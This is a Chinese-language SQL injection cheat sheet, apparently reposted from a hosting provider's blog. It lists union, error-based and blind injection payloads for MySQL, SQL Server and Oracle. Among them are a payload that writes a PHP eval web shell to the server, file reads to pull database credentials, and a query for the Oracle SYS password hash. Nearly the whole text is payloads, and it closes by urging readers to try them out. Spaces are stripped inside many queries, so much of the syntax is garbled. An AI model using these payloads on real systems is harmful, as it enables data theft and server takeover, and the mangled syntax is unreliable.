SQL注入速查的方法是什么
本篇内容主要讲解“SQL注入速查的方法是什么”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“SQL注入速查的方法是什么”吧!
0x01 Mysql
Mysql划分:权限 root 普通用户 版本 mysql>5.0 mysql<5.0
1.1 root权限
load_file和into outfile用户必须有FILE权限,并且还需要知道网站的绝对路径
判断是否具有读写权限
and(selectcount(*)frommysql.user)>0#and(selectcount(file_priv)frommysql.user)>#
A、Load_file() 该函数用来读取源文件的函数,只能读取绝对路径的网页文件
注意:路径符号”\”错误 “\”正确 “/”正确,转换成十六进制,不用“”
id=1and1=2unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file(’/var/www/index.php’)(物理路径转16进制)
可以用来读取数据库连接文件获取数据连接账号、密码等
?id=1'and1=2unionselect1,load_file('D:\\wamp\\www\\111.php')%23id=1'and1=2unionselect1,load_file(0x443A2F77616D702F7777772F312E706870)%23
B、into outfile函数
条件:1. 绝对路径 2.可以使用单引号
?id=1unionselect1,"<?php@eval($_POST['g']);?>",3intooutfile'E:/study/WWW/evil.php'?id=1LIMIT0,1INTOOUTFILE'E:/study/WWW/evil.php'linesterminatedby0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27--
1.2 MySQL联合查询
1.2.1 适用于mysql低于5.0版本
1.判断是否可以注入?id=1and1=1,页面正常?id=1and1=2,页面空白2.获得字段数orderby的方法来判断,比如:?id=1orderby4页面显示正常?id=1orderby5页面出错,说明字段数等于43.获得显示位?id=1and1=2unionselect1,2,3,4//比如,页面上出现了几个数字,分别是2,3,4,那么,这几个数字就被我们称作显示位。4.猜表名猜表名的方法是,在第三步的完整的地址后加上:Form表名,比如:?id=1and1=2unionselect1,2,3,4fromusers这样,当users表存在的话,页面就会显示正常,如果我们提交一个不存在的表名,页面就会出错。5.猜字段使用:Concat(字段名)替换显示位的位置。?id=1and1=2unionselect1,2,3,concat(username,password)fromusers
1.2.2 适用于Mysql 5.0以上版本支持查表查列
1.先判断是否可以注入and+1=1,页面正常and+1=2,页面空白2.获得字段数:使用orderby提交:?id=1orderby4正确。?id=1orderby5错误。那么,判断出字段数为4。3.获得显示位提交:?id=1+and+1=2+union+select+1,2,3,4显示位为:2,3,44.获取信息?id=1+and+1=2+union+select+1,2,3,version()database()user()version()database()@@basedir数据库安装路径@@datadir数据库路径5.查表?id=1and1=2unionselect1,2,3,table_namefrominformation_schema.tableswheretable_schema=0x74657374(数据库名test的Hex)limit0,1--得到表:test6.查字段?id=1and1=2unionselect1,2,3,column_namefrominformation_schema.columnswheretable_name=0x74657374limit0,1--得到字段:id,username,password7.爆字段内容?id=1+and+1=2+union+select+1,2,3,concat(username,password)from+test
1.3 MySQL报错注入
mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法。
多种报错注入方式:
and(select1from(selectcount(*),concat(version(),floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a);and(selectcount(*)from(select1unionselectnullunionselect!1)xgroupbyconcat((selecttable_namefrominformation_schema.tableslimit1),floor(rand(0)*2)));andextractvalue(1,concat(0x5c,(selectVERSION()frominformation_schema.tableslimit1)))and1=(updatexml(1,concat(0x3a,(selectuser())),1))andGeometryCollection((select*from(select*from(select@@version)f)x))andpolygon((select*from(selectname_const(version(),1))x))andlinestring((select*from(select*from(selectuser())a)b))andmultilinestring((select*from(select*from(selectversion())a)b));andmultipoint((select*from(select*from(selectuser())a)b));andmultipolygon((select*from(select*from(selectuser())a)b));andexp(~(select*from(selectversion())a));
1.4 MySQL盲注
基于布尔型注入
id=1and(selectlength(user()))=20#返回正常页面长度20位id=1andascii(substring((SELECTusernameFROMuserslimit0,1),1,1))=97//截取username第一个数据的ascii值
基于时间型注入
1xor(if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0))1xorif(ascii(substr(user(),1,1))like1124,benchmark(1000000,md5('1')),'2')
0x02 SQLServer
SA权限:数据库操作,文件管理,命令执行,注册表读取等
Db权限:文件管理,数据库操作等
Public权限:数据库操作
2.1 SQLServer 联合查询
1.判断是否存在注入?id=1and1=1--返回正确?id=1and1=2--返回错误2.获取字段数?id=1orderby2--返回正确页面?id=1orderby3--返回错误页面字段长度为23.查看数据库版本?id=1and1=2unionselectdb_name(),null//获得当前数据库4.查看表名?id=1and1=2unionselecttop1TABLE_NAME,2fromINFORMATION_SCHEMA.TABLESwheretable_namenotin('users')5.查看列名?id=1and1=2unionselecttop1column_name,2frominformation_schema.columnswheretable_name='users'andcolumn_namenotin('uname')6.获取数据?id=1and1=2unionselecttop1uname,nullfromusers
2.2 SQLServer 报错注入
1.获取表名?id=4'and1>(selecttop1TABLE_NAMEfromINFORMATION_SCHEMA.TABLESwhereTABLE_NAMEnotin('admin'))--2.获取列名?id=4'and1>(selecttop1COLUMN_NAMEfromINFORMATION_SCHEMA.COLUMNSwhereTABLE_NAME='admin'andcolumn_namenotin('id'))--3.获取数据?id=4'and1=(selecttop1pwdfromadmin)--4.获取数据库信息?id=1'and1=(select@@version)--//SQLServer2000?id=1'and1=(selectdb_name())//当前使用的数据库
2.3 SQLServer 盲注
1、猜表名?id=1and(selectcount(*)fromsysobjectswherenamein(selecttop1namefromsysobjectswherextype='u')andlen(name)=7)=1--//获取第一个表的长度7?id=1and(selectcount(*)fromsysobjectswherenamein(selecttop1namefromsysobjectswherextype='u')andascii(substring(name,1,1))=116)=1--//截取第一个表第一位的ascii码?id=1and(selectcount(*)fromsysobjectswherenamein(selecttop1namefromsysobjectswherextype='u'andnamenotin('users'))andascii(substring(name,1,1))>115)=1--//猜第二个表的第一位ASCII值得到表名,进一步猜解字段2、猜字段id=1and(selectcount(*)fromsyscolumnswherenamein(selecttop1namefromsyscolumnswhereid=(selectidfromsysobjectswherename='users'))andascii(substring(name,1,1))=117)=1//获取users表第一个字段的ASCII值id=1and(selectcount(*)fromsyscolumnswherenamein(selecttop1namefromsyscolumnswhereid=(selectidfromsysobjectswherename='users'))andnamenotin('upass')andascii(substring(name,1,1))>90)=1--//获取user表第二个字段的第一位ASCII值3、猜数据id=1and(ascii(substring((selecttop1unamefromusers),1,1)))=33--//获取users表中uname字段的第一位ASCII值
0x03 Oracle
3.1 联合查询
Unionselectnull,null,null从第一个null开始加’null’,得到显示位Unionselectnull,null,nullfromdual返回正确,存在dual表UnionSelecttablespace_namefromuser_tablespaces//查库UnionSelecttable_namefromuser_tableswhererownum=1andtable_name<>’news’//查表UnionSelectcolumn_namefromuser_tab_columnswheretable_name=’users’//查列?id=1orderby1--//获取字段数and+1=1+union+all+select+(SELECTbannerFROMv$versionwhererownum=1)+from+dual--//获取数据库版本and+1=1+union+all+select+(selectuserfromdualwhererownum=1)+from+dual--//获取当前连接数据库的用户名union+all+select+(selectpasswordfromsys.user$whererownum=1andname='SYS')+from+dual----//获取用户SYS密文密码union+all+select+(SELECTnameFROMv$database)+from+dual--//获取库名and+1=1+union+all+select+(selecttable_namefromuser_tableswhererownum=1)+from+dual--//获取第一个表名
3.2 手工显错注入
最大的区别就是utl_inaddr.get_host_address这个函数,10g可以调用,11g需要dba高权限//判断是否是oracle?id=1andexists(select*fromdual)--//获取库名?id=1and1=utl_inaddr.get_host_address((SELECTnameFROMv$database))—-//获取数据库服务器所在ip?id=1and1=ctxsys.drithsx.sn(1,(selectUTL_INADDR.get_host_addressfromdualwhererownum=1))--?id=1and1=CTXSYS.CTX_QUERY.CHK_XPATH((selectbannerfromv$versionwhererownum=1),'a','b')--?id=1or1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((selectbannerfromv$versionwhererownum=1),'a','b')--?id=1and(selectdbms_xdb_version.uncheckout((selectuserfromdual))fromdual)isnotnull--?id=1and1=ctxsys.drithsx.sn(1,(selectuserfromdual))--
3.3 盲注
基于布尔类型的盲注:
?id=7782'andlength((SELECTnameFROMv$database))=4--获取数据库名长度?id=7782'andascii(substr((SELECTnameFROMv$database),1,1))=79--获取数据库名第一位为O
基于时间延迟的盲注:
?id=7782'and1=(CASEWHEN(ascii(substr((SELECTnameFROMv$database),1,1))=79)THEN1ELSE2END)--?id=7782'AND1=(CASEWHEN(ascii(substr((SELECTnameFROMv$database),1,1))=79)THENDBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(103)||CHR(102)||CHR(102),5)ELSE1END)--
到此,相信大家对“SQL注入速查的方法是什么”有了更深的了解,不妨来实际操作一番吧!这里是亿速云网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!
声明:本站所有文章资源内容,如无特殊说明或标注,均为采集网络资源。如若本站内容侵犯了原著者的合法权益,可联系本站删除。